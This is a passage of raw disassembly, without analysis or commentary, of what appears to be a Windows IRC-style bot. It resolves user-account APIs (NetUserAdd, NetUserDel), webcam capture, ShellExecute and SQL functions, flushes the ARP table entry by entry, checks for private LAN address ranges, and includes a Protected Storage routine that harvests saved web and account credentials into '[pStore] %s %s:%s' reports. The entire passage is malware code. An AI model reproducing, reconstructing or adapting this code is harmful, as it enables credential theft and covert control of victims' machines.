; "NetUserAdd" push edi mov dword_4D6594, eax call esi ; GetProcAddress push offset aNetuserdel ; "NetUserDel" push edi mov dword_4D6540, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4D6530, eax call esi ; GetProcAddress push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4D65C8, eax call esi ; GetProcAddress push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4D66C0, eax call esi ; GetProcAddress push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4D6678, eax call esi ; GetProcAddress cmp dword_4D655C, ebx mov dword_4D659C, eax jz short loc_408155 cmp dword_4D6534, ebx jz short loc_408155 cmp dword_4D65AC, ebx jz short loc_408155 cmp dword_4D65E0, ebx jz short loc_408155 cmp dword_4D66F8, ebx jz short loc_408155 cmp dword_4D6594, ebx jz short loc_408155 cmp dword_4D6540, ebx jz short loc_408155 cmp dword_4D6530, ebx jz short loc_408155 cmp dword_4D65C8, ebx jz short loc_408155 cmp dword_4D66C0, ebx jz short loc_408155 cmp dword_4D6678, ebx jnz short loc_40815F jmp short loc_408155 ; --------------------------------------------------------------------------- loc_40814A: ; CODE XREF: sub_4076E5+969j call dword_4E0350 ; RtlGetLastWin32Error mov dword_4D6760, eax loc_408155: ; CODE XREF: sub_4076E5+A11j ; sub_4076E5+A19j ... mov dword_4D675C, 1 loc_40815F: ; CODE XREF: sub_4076E5+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_408194 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; GetProcAddress push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4D6584, eax call esi ; GetProcAddress cmp dword_4D6584, ebx mov dword_4D6660, eax jz short loc_40819F cmp eax, ebx jnz short loc_4081A9 jmp short loc_40819F ; --------------------------------------------------------------------------- loc_408194: ; CODE XREF: sub_4076E5+A85j call dword_4E0350 ; RtlGetLastWin32Error mov dword_4D6768, eax loc_40819F: ; CODE XREF: sub_4076E5+AA7j ; sub_4076E5+AADj mov dword_4D6764, 1 loc_4081A9: ; CODE XREF: sub_4076E5+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4081DE push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; GetProcAddress push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4D66E4, eax call esi ; GetProcAddress cmp dword_4D66E4, ebx mov dword_4D66E0, eax jz short loc_4081E9 cmp eax, ebx jnz short loc_4081F3 jmp short loc_4081E9 ; --------------------------------------------------------------------------- loc_4081DE: ; CODE XREF: sub_4076E5+ACFj call dword_4E0350 ; RtlGetLastWin32Error mov dword_4D6770, eax loc_4081E9: ; CODE XREF: sub_4076E5+AF1j ; sub_4076E5+AF7j mov dword_4D676C, 1 loc_4081F3: ; CODE XREF: sub_4076E5+AF5j push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_408252 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4D6710, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4D6708, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4D66D0, eax call esi ; GetProcAddress cmp dword_4D6710, ebx mov dword_4D65A0, eax jz short loc_40825D cmp dword_4D6708, ebx jz short loc_40825D cmp dword_4D66D0, ebx jz short loc_40825D cmp eax, ebx jnz short loc_408267 jmp short loc_40825D ; --------------------------------------------------------------------------- loc_408252: ; CODE XREF: sub_4076E5+B19j call dword_4E0350 ; RtlGetLastWin32Error mov dword_4D6778, eax loc_40825D: ; CODE XREF: sub_4076E5+B55j ; sub_4076E5+B5Dj ... mov dword_4D6774, 1 loc_408267: ; CODE XREF: sub_4076E5+B69j push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40829C push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; GetProcAddress push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4D65D4, eax call esi ; GetProcAddress cmp dword_4D65D4, ebx mov dword_4D66DC, eax jz short loc_4082A7 cmp eax, ebx jnz short loc_4082B1 jmp short loc_4082A7 ; --------------------------------------------------------------------------- loc_40829C: ; CODE XREF: sub_4076E5+B8Dj call dword_4E0350 ; RtlGetLastWin32Error mov dword_4D6780, eax loc_4082A7: ; CODE XREF: sub_4076E5+BAFj ; sub_4076E5+BB5j mov dword_4D677C, 1 loc_4082B1: ; CODE XREF: sub_4076E5+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40833A push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; GetProcAddress push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4D66A4, eax call esi ; GetProcAddress push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4D66F0, eax call esi ; GetProcAddress push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4D662C, eax call esi ; GetProcAddress push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4D65E4, eax call esi ; GetProcAddress push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4D6684, eax call esi ; GetProcAddress cmp dword_4D66A4, ebx mov dword_4D65F4, eax jz short loc_408345 cmp dword_4D66F0, ebx jz short loc_408345 cmp dword_4D662C, ebx jz short loc_408345 cmp dword_4D65E4, ebx jz short loc_408345 cmp dword_4D6684, ebx jz short loc_408345 cmp eax, ebx jnz short loc_40834F jmp short loc_408345 ; --------------------------------------------------------------------------- loc_40833A: ; CODE XREF: sub_4076E5+BD7j call dword_4E0350 ; RtlGetLastWin32Error mov dword_4D6788, eax loc_408345: ; CODE XREF: sub_4076E5+C2Dj ; sub_4076E5+C35j ... mov dword_4D6784, 1 loc_40834F: ; CODE XREF: sub_4076E5+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_408384 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi ; GetProcAddress push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4D65B8, eax call esi ; GetProcAddress cmp dword_4D65B8, ebx mov dword_4D6698, eax jz short loc_40838F cmp eax, ebx jnz short loc_408399 jmp short loc_40838F ; --------------------------------------------------------------------------- loc_408384: ; CODE XREF: sub_4076E5+C75j call dword_4E0350 ; RtlGetLastWin32Error mov dword_4D6790, eax loc_40838F: ; CODE XREF: sub_4076E5+C97j ; sub_4076E5+C9Dj mov dword_4D678C, 1 loc_408399: ; CODE XREF: sub_4076E5+C9Bj pop edi xor eax, eax pop esi pop ebp inc eax pop ebx retn sub_4076E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4083A1 proc near ; CODE XREF: sub_401C87+1FF9p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4D6724, esi push edi mov edi, [ebp+arg_8] jz short loc_4083E9 push dword_4D6728 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_417CB0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40764A add esp, 20h loc_4083E9: ; CODE XREF: sub_4083A1+1Aj cmp dword_4D672C, esi jz short loc_40841D push dword_4D6730 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_417CB0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40764A add esp, 20h loc_40841D: ; CODE XREF: sub_4083A1+4Ej cmp dword_4D6734, esi jz short loc_408451 push dword_4D6738 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_417CB0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40764A add esp, 20h loc_408451: ; CODE XREF: sub_4083A1+82j cmp dword_4D673C, esi jz short loc_408485 push dword_4D6740 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_417CB0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40764A add esp, 20h loc_408485: ; CODE XREF: sub_4083A1+B6j cmp dword_4D6744, esi jz short loc_4084B9 push dword_4D6748 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_417CB0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40764A add esp, 20h loc_4084B9: ; CODE XREF: sub_4083A1+EAj cmp dword_4D674C, esi jz short loc_4084ED push dword_4D6750 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_417CB0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40764A add esp, 20h loc_4084ED: ; CODE XREF: sub_4083A1+11Ej cmp dword_4D6754, esi jz short loc_408521 push dword_4D6758 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_417CB0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40764A add esp, 20h loc_408521: ; CODE XREF: sub_4083A1+152j cmp dword_4D675C, esi jz short loc_408555 push dword_4D6760 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_417CB0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40764A add esp, 20h loc_408555: ; CODE XREF: sub_4083A1+186j cmp dword_4D6764, esi jz short loc_408589 push dword_4D6768 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_417CB0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40764A add esp, 20h loc_408589: ; CODE XREF: sub_4083A1+1BAj cmp dword_4D676C, esi jz short loc_4085BD push dword_4D6770 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_417CB0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40764A add esp, 20h loc_4085BD: ; CODE XREF: sub_4083A1+1EEj cmp dword_4D6774, esi jz short loc_4085F1 push dword_4D6778 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_417CB0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40764A add esp, 20h loc_4085F1: ; CODE XREF: sub_4083A1+222j cmp dword_4D677C, esi jz short loc_408625 push dword_4D6780 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_417CB0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40764A add esp, 20h loc_408625: ; CODE XREF: sub_4083A1+256j cmp dword_4D6784, esi jz short loc_408659 push dword_4D6788 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_417CB0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40764A add esp, 20h loc_408659: ; CODE XREF: sub_4083A1+28Aj cmp dword_4D678C, esi jz short loc_40868D push dword_4D6790 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_417CB0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40764A add esp, 20h loc_40868D: ; CODE XREF: sub_4083A1+2BEj lea eax, [ebp+var_200] push offset unk_43AFCC push eax call sub_417CB0 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_4086BA push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40764A add esp, 14h loc_4086BA: ; CODE XREF: sub_4083A1+302j lea eax, [ebp+var_200] push eax call sub_40F927 pop ecx pop edi pop esi pop ebx leave retn sub_4083A1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 20h cmp dword ptr [ebp+8], 0 push esi jz loc_408761 push offset dword_4D67A4 push dword ptr [ebp+8] call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_408761 push 20h lea eax, [ebp-20h] push dword ptr [ebp+8] push eax call sub_417760 lea eax, [ebp-20h] push offset a___1 ; ".." push eax call sub_418AC0 add esp, 14h test eax, eax jz short loc_408761 push eax call sub_417960 mov dword ptr [esp], (offset a___1+2) push 0 mov esi, eax call sub_418AC0 pop ecx test eax, eax pop ecx jz short loc_408761 push eax call sub_417960 cmp esi, 0Ah pop ecx jz short loc_40875C cmp esi, 0ACh jnz short loc_40874D cmp eax, 0Fh jle short loc_408761 cmp eax, 20h jl short loc_40875C loc_40874D: ; CODE XREF: .data:00408741j cmp esi, 0C0h jnz short loc_408761 cmp eax, 0A8h jnz short loc_408761 loc_40875C: ; CODE XREF: .data:00408739j ; .data:0040874Bj xor eax, eax inc eax jmp short loc_408763 ; --------------------------------------------------------------------------- loc_408761: ; CODE XREF: .data:004086D7j ; .data:004086EEj ... xor eax, eax loc_408763: ; CODE XREF: .data:0040875Fj pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_408766 proc near ; CODE XREF: sub_4019A5+4Fp ; sub_401C87+48E7p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4D66A8 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40878E push [esp+arg_0] call dword_4D66EC ; gethostbyname test eax, eax jnz short loc_408787 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_408787: ; CODE XREF: sub_408766+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40878E: ; CODE XREF: sub_408766+Dj retn sub_408766 endp ; =============== S U B R O U T I N E ======================================= sub_40878F proc near ; CODE XREF: sub_4019A5+D6p mov ecx, dword_4D6584 xor eax, eax test ecx, ecx jz short locret_40879D jmp ecx ; --------------------------------------------------------------------------- locret_40879D: ; CODE XREF: sub_40878F+Aj retn sub_40878F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40879E proc near ; CODE XREF: sub_401C87:loc_403BC6p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx xor ebx, ebx push esi inc ebx push edi lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4D66E4 ; GetIpNetTable mov ecx, eax sub ecx, edi jz loc_40886A sub ecx, 32h jz loc_408863 sub ecx, 48h jz short loc_4087FE sub ecx, 6Eh jz short loc_4087F7 push eax push offset unk_43AFF0 loc_4087E6: ; CODE XREF: sub_40879E+91j lea eax, [ebp+var_88] push eax call sub_417CB0 add esp, 0Ch jmp short loc_408844 ; --------------------------------------------------------------------------- loc_4087F7: ; CODE XREF: sub_40879E+40j push offset unk_43B01C jmp short loc_408836 ; --------------------------------------------------------------------------- loc_4087FE: ; CODE XREF: sub_40879E+3Bj push [ebp+var_8] call sub_415090 push [ebp+var_8] mov esi, eax push edi push esi call sub_417700 add esp, 10h cmp esi, edi jz short loc_408831 lea eax, [ebp+var_8] push ebx push eax push esi call dword_4D66E4 ; GetIpNetTable cmp eax, edi jz short loc_40886A push eax push offset unk_43B040 jmp short loc_4087E6 ; --------------------------------------------------------------------------- loc_408831: ; CODE XREF: sub_40879E+79j push offset unk_43B06C loc_408836: ; CODE XREF: sub_40879E+5Ej ; sub_40879E+CAj lea eax, [ebp+var_88] push eax call sub_417CB0 pop ecx pop ecx loc_408844: ; CODE XREF: sub_40879E+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_40F927 pop ecx loc_408854: ; CODE XREF: sub_40879E+CEj ; sub_40879E+E2j push esi call sub_415C20 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_408863: ; CODE XREF: sub_40879E+32j push offset unk_43B09C jmp short loc_408836 ; --------------------------------------------------------------------------- loc_40886A: ; CODE XREF: sub_40879E+29j ; sub_40879E+89j cmp [esi], edi jbe short loc_408854 lea ebx, [esi+4] loc_408871: ; CODE XREF: sub_40879E+E0j push ebx call dword_4D66E0 ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_408871 jmp short loc_408854 sub_40879E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408882 proc near ; CODE XREF: sub_401C87+1E2Bp ; sub_401C87+2687p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_417700 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4D660C ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset dword_4D6794 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_417CB0 add esp, 18h mov eax, esi pop esi leave retn sub_408882 endp ; =============== S U B R O U T I N E ======================================= sub_4088DB proc near ; CODE XREF: .data:0040A72Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] xor edx, edx cmp ecx, 1 push esi jle short loc_408906 lea eax, [ecx-2] push edi shr eax, 1 inc eax mov esi, eax neg esi lea ecx, [ecx+esi*2] mov esi, [esp+8+arg_0] loc_4088F9: ; CODE XREF: sub_4088DB+26j movzx edi, word ptr [esi] add edx, edi inc esi inc esi dec eax jnz short loc_4088F9 pop edi jmp short loc_40890A ; --------------------------------------------------------------------------- loc_408906: ; CODE XREF: sub_4088DB+Aj mov esi, [esp+4+arg_0] loc_40890A: ; CODE XREF: sub_4088DB+29j test ecx, ecx jz short loc_408913 movzx eax, byte ptr [esi] add edx, eax loc_408913: ; CODE XREF: sub_4088DB+31j mov ecx, edx and edx, 0FFFFh shr ecx, 10h add ecx, edx pop esi mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_4088DB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov ecx, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp ecx, 1 mov [ebp-4], esi jle short loc_40895A lea eax, [ecx-2] push edi shr eax, 1 inc eax lea edi, [eax+eax] sub ecx, edi loc_40894C: ; CODE XREF: .data:00408954j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec eax jnz short loc_40894C pop edi cmp ecx, 1 loc_40895A: ; CODE XREF: .data:0040893Ej jnz short loc_408967 mov al, [edx] mov [ebp-4], al movzx eax, word ptr [ebp-4] add esi, eax loc_408967: ; CODE XREF: .data:loc_40895Aj mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax leave retn ; --------------------------------------------------------------------------- retn 0Ch ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- loc_408986: ; DATA XREF: sub_401C87+3C70o mov eax, offset loc_433EE0 call sub_4191E0 sub esp, 0FA0h push ebx push esi mov esi, [ebp+8] push edi push 21h lea edi, [ebp-1C4h] pop ecx rep movsd push offset aPstorec_dll ; "pstorec.dll" call dword_4E037C ; LoadLibraryA xor ebx, ebx cmp eax, ebx jz loc_408E7D push offset aPstorecreatein ; "PStoreCreateInstance" push eax call dword_4E0380 ; GetProcAddress lea ecx, [ebp+8] mov esi, eax call sub_408E90 push ebx push ebx push ebx lea ecx, [ebp+8] mov [ebp-4], ebx call sub_408E9B push eax call esi ; GetProcAddress cmp eax, ebx jl loc_408E75 lea ecx, [ebp-10h] call sub_408EAD lea ecx, [ebp-10h] mov byte ptr [ebp-4], 1 call sub_408EB8 push eax push ebx push ebx lea ecx, [ebp+8] call sub_408EAA mov ecx, eax call sub_408F0E cmp eax, ebx lea ecx, [ebp-10h] jge loc_408E53 jmp loc_408E70 ; --------------------------------------------------------------------------- loc_408A21: ; CODE XREF: .data:00408E67j sub esp, 10h lea esi, [ebp-34h] mov edi, esp lea eax, [ebp-78h] movsd movsd movsd push offset asc_43B0FC ; "%x" push eax movsd call dword_4E04D8 ; wsprintfA add esp, 18h lea ecx, [ebp-14h] call sub_408EAD lea ecx, [ebp-14h] mov byte ptr [ebp-4], 2 call sub_408EB8 push eax lea eax, [ebp-34h] push ebx push eax push ebx lea ecx, [ebp+8] call sub_408EAA mov ecx, eax call sub_408F23 jmp loc_408E27 ; --------------------------------------------------------------------------- loc_408A6E: ; CODE XREF: .data:00408E3Ej lea ecx, [ebp-18h] call sub_408ECA lea ecx, [ebp-18h] mov byte ptr [ebp-4], 3 call sub_408ED5 push eax lea eax, [ebp-44h] push ebx push eax lea eax, [ebp-34h] lea ecx, [ebp+8] push eax push ebx call sub_408EAA mov ecx, eax call sub_408F61 jmp loc_408DFE ; --------------------------------------------------------------------------- loc_408AA1: ; CODE XREF: .data:00408E15j push dword ptr [ebp-20h] mov edi, dword_4E04D8 lea eax, [ebp-5C4h] push offset aWs ; "%ws" push eax call edi ; wsprintfA add esp, 0Ch lea eax, [ebp-1Ch] lea ecx, [ebp+8] mov [ebp-24h], ebx push ebx push ebx push eax lea eax, [ebp-24h] push eax lea eax, [ebp-44h] push dword ptr [ebp-20h] mov [ebp-1Ch], ebx push eax lea eax, [ebp-34h] push eax push ebx call sub_408EAA mov ecx, eax call sub_408F3C push dword ptr [ebp-1Ch] call dword_4E0390 ; lstrlenA mov esi, [ebp-24h] lea eax, [esi-1] test eax, eax jz short loc_408B2C xor edx, edx xor ecx, ecx cmp esi, ebx jbe short loc_408B23 loc_408B01: ; CODE XREF: .data:00408B21j mov eax, [ebp-1Ch] mov al, [ecx+eax] cmp al, bl jnz short loc_408B15 mov byte ptr [ebp+edx-3C4h], 2Ch jmp short loc_408B1C ; --------------------------------------------------------------------------- loc_408B15: ; CODE XREF: .data:00408B09j mov [ebp+edx-3C4h], al loc_408B1C: ; CODE XREF: .data:00408B13j inc edx inc ecx inc ecx cmp ecx, esi jb short loc_408B01 loc_408B23: ; CODE XREF: .data:00408AFFj mov [ebp+edx-3C5h], bl jmp short loc_408B40 ; --------------------------------------------------------------------------- loc_408B2C: ; CODE XREF: .data:00408AF7j push dword ptr [ebp-1Ch] lea eax, [ebp-3C4h] push offset aS_23 ; "%s" push eax call edi ; wsprintfA add esp, 0Ch loc_408B40: ; CODE XREF: .data:00408B2Aj mov esi, dword_4E038C lea eax, [ebp-0FACh] push offset byte_4D67A8 push eax call esi ; lstrcpyA lea eax, [ebp-9C4h] push offset byte_4D67A9 push eax call esi ; lstrcpyA mov edi, dword_4E0388 lea eax, [ebp-78h] push offset a5e7e8100 ; "5e7e8100" push eax call edi ; lstrcmpA test eax, eax jnz loc_408C54 lea eax, [ebp-140h] push offset byte_4D67AA push eax call esi ; lstrcpyA lea eax, [ebp-3C4h] push offset asc_43B112 ; ":" push eax call sub_417E00 pop ecx test eax, eax pop ecx jz short loc_408BD3 lea eax, [ebp-3C4h] push offset asc_43B114 ; "::" push eax call sub_417E00 pop ecx inc eax pop ecx push eax lea eax, [ebp-140h] push eax call esi ; lstrcpyA lea eax, [ebp-3C4h] push 43B116h push eax call sub_417E00 pop ecx mov [eax], bl pop ecx loc_408BD3: ; CODE XREF: .data:00408B9Ej lea eax, [ebp-3C4h] push offset byte_4D67AB push eax call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_408C2A lea eax, [ebp-140h] push offset byte_4D67AC push eax call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_408C2A lea eax, [ebp-140h] push eax lea eax, [ebp-3C4h] push eax lea eax, [ebp-5C4h] push eax lea eax, [ebp-7C4h] push offset aPstoreSSS ; "[pStore] %s %s:%s" push eax call sub_417CB0 add esp, 14h loc_408C2A: ; CODE XREF: .data:00408BE8j ; .data:00408BFFj push ebx lea eax, [ebp-7C4h] push ebx push eax lea eax, [ebp-1C0h] push eax push dword ptr [ebp-1C4h] call sub_40764A lea eax, [ebp-7C4h] push eax call sub_40F927 add esp, 18h loc_408C54: ; CODE XREF: .data:00408B75j lea eax, [ebp-78h] push offset aE161255a ; "e161255a" push eax call edi ; lstrcmpA test eax, eax jnz loc_408DCF lea eax, [ebp-5C4h] push offset aStringindex ; "StringIndex" push eax call sub_417E00 pop ecx test eax, eax pop ecx jnz loc_408DCF lea eax, [ebp-5C4h] push offset aString ; ":String" push eax call sub_417E00 pop ecx test eax, eax pop ecx jz short loc_408CAE lea eax, [ebp-5C4h] push offset aString_0 ; ":String" push eax call sub_417E00 pop ecx mov [eax], bl pop ecx loc_408CAE: ; CODE XREF: .data:00408C97j lea eax, [ebp-5C4h] push 8 push eax lea eax, [ebp-140h] push eax call dword_4E0384 ; lstrcpynA lea eax, [ebp-140h] push offset aHttp_0 ; "http:/" push eax call sub_417E00 pop ecx test eax, eax pop ecx jnz short loc_408CF6 lea eax, [ebp-140h] push offset aHttps ; "https:/" push eax call sub_417E00 pop ecx test eax, eax pop ecx jz loc_408DCF loc_408CF6: ; CODE XREF: .data:00408CD9j lea eax, [ebp-140h] push offset byte_4D67AD push eax call esi ; lstrcpyA lea eax, [ebp-3C4h] push offset asc_43B164 ; ",,," push eax call sub_417E00 pop ecx test eax, eax pop ecx jz short loc_408D4E lea eax, [ebp-3C4h] push 43B166h push eax call sub_417E00 pop ecx inc eax pop ecx push eax lea eax, [ebp-140h] push eax call esi ; lstrcpyA lea eax, [ebp-3C4h] push 43B168h push eax call sub_417E00 pop ecx mov [eax], bl pop ecx loc_408D4E: ; CODE XREF: .data:00408D19j lea eax, [ebp-3C4h] push offset byte_4D67AE push eax call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_408DA5 lea eax, [ebp-140h] push offset byte_4D67AF push eax call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_408DA5 lea eax, [ebp-140h] push eax lea eax, [ebp-3C4h] push eax lea eax, [ebp-5C4h] push eax lea eax, [ebp-7C4h] push offset aPstoreSSS_0 ; "[pStore] %s %s:%s" push eax call sub_417CB0 add esp, 14h loc_408DA5: ; CODE XREF: .data:00408D63j ; .data:00408D7Aj push ebx lea eax, [ebp-7C4h] push ebx push eax lea eax, [ebp-1C0h] push eax push dword ptr [ebp-1C4h] call sub_40764A lea eax, [ebp-7C4h] push eax call sub_40F927 add esp, 18h loc_408DCF: ; CODE XREF: .data:00408C61j ; .data:00408C7Cj ... mov esi, 200h lea eax, [ebp-5C4h] push esi push ebx push eax call sub_417700 push esi lea eax, [ebp-3C4h] push ebx push eax call sub_417700 add esp, 18h push 3E8h call dword_4E033C ; Sleep loc_408DFE: ; CODE XREF: .data:00408A9Cj lea ecx, [ebp-18h] call sub_408EE4 mov ecx, [eax] lea edx, [ebp-20h] push ebx push edx push 1 push eax call dword ptr [ecx+0Ch] test eax, eax jz loc_408AA1 lea ecx, [ebp-18h] mov byte ptr [ebp-4], 2 call sub_408ED0 loc_408E27: ; CODE XREF: .data:00408A69j lea ecx, [ebp-14h] call sub_408EC7 mov ecx, [eax] lea edx, [ebp-44h] push ebx push edx push 1 push eax call dword ptr [ecx+0Ch] test eax, eax jz loc_408A6E lea ecx, [ebp-14h] mov byte ptr [ebp-4], 1 call sub_408EB3 lea ecx, [ebp-10h] loc_408E53: ; CODE XREF: .data:00408A16j call sub_408EC7 mov ecx, [eax] lea edx, [ebp-34h] push ebx push edx push 1 push eax call dword ptr [ecx+0Ch] test eax, eax jz loc_408A21 lea ecx, [ebp-10h] loc_408E70: ; CODE XREF: .data:00408A1Cj call sub_408EB3 loc_408E75: ; CODE XREF: .data:004089E5j lea ecx, [ebp+8] call sub_408E96 loc_408E7D: ; CODE XREF: .data:004089B6j mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= sub_408E90 proc near ; CODE XREF: .data:004089CDp mov eax, ecx and dword ptr [eax], 0 retn sub_408E90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_408E96 proc near ; CODE XREF: .data:00408E78p ; .data:00433EC3j jmp sub_408EE7 sub_408E96 endp ; =============== S U B R O U T I N E ======================================= sub_408E9B proc near ; CODE XREF: .data:004089DBp push esi mov esi, ecx call sub_408EE7 and dword ptr [esi], 0 mov eax, esi pop esi retn sub_408E9B endp ; =============== S U B R O U T I N E ======================================= sub_408EAA proc near ; CODE XREF: .data:00408A05p ; .data:00408A5Dp ... mov eax, [ecx] retn sub_408EAA endp ; =============== S U B R O U T I N E ======================================= sub_408EAD proc near ; CODE XREF: .data:004089EEp ; .data:00408A42p mov eax, ecx and dword ptr [eax], 0 retn sub_408EAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_408EB3 proc near ; CODE XREF: .data:00408E4Bp ; .data:loc_408E70p ... jmp sub_408EF4 sub_408EB3 endp ; =============== S U B R O U T I N E 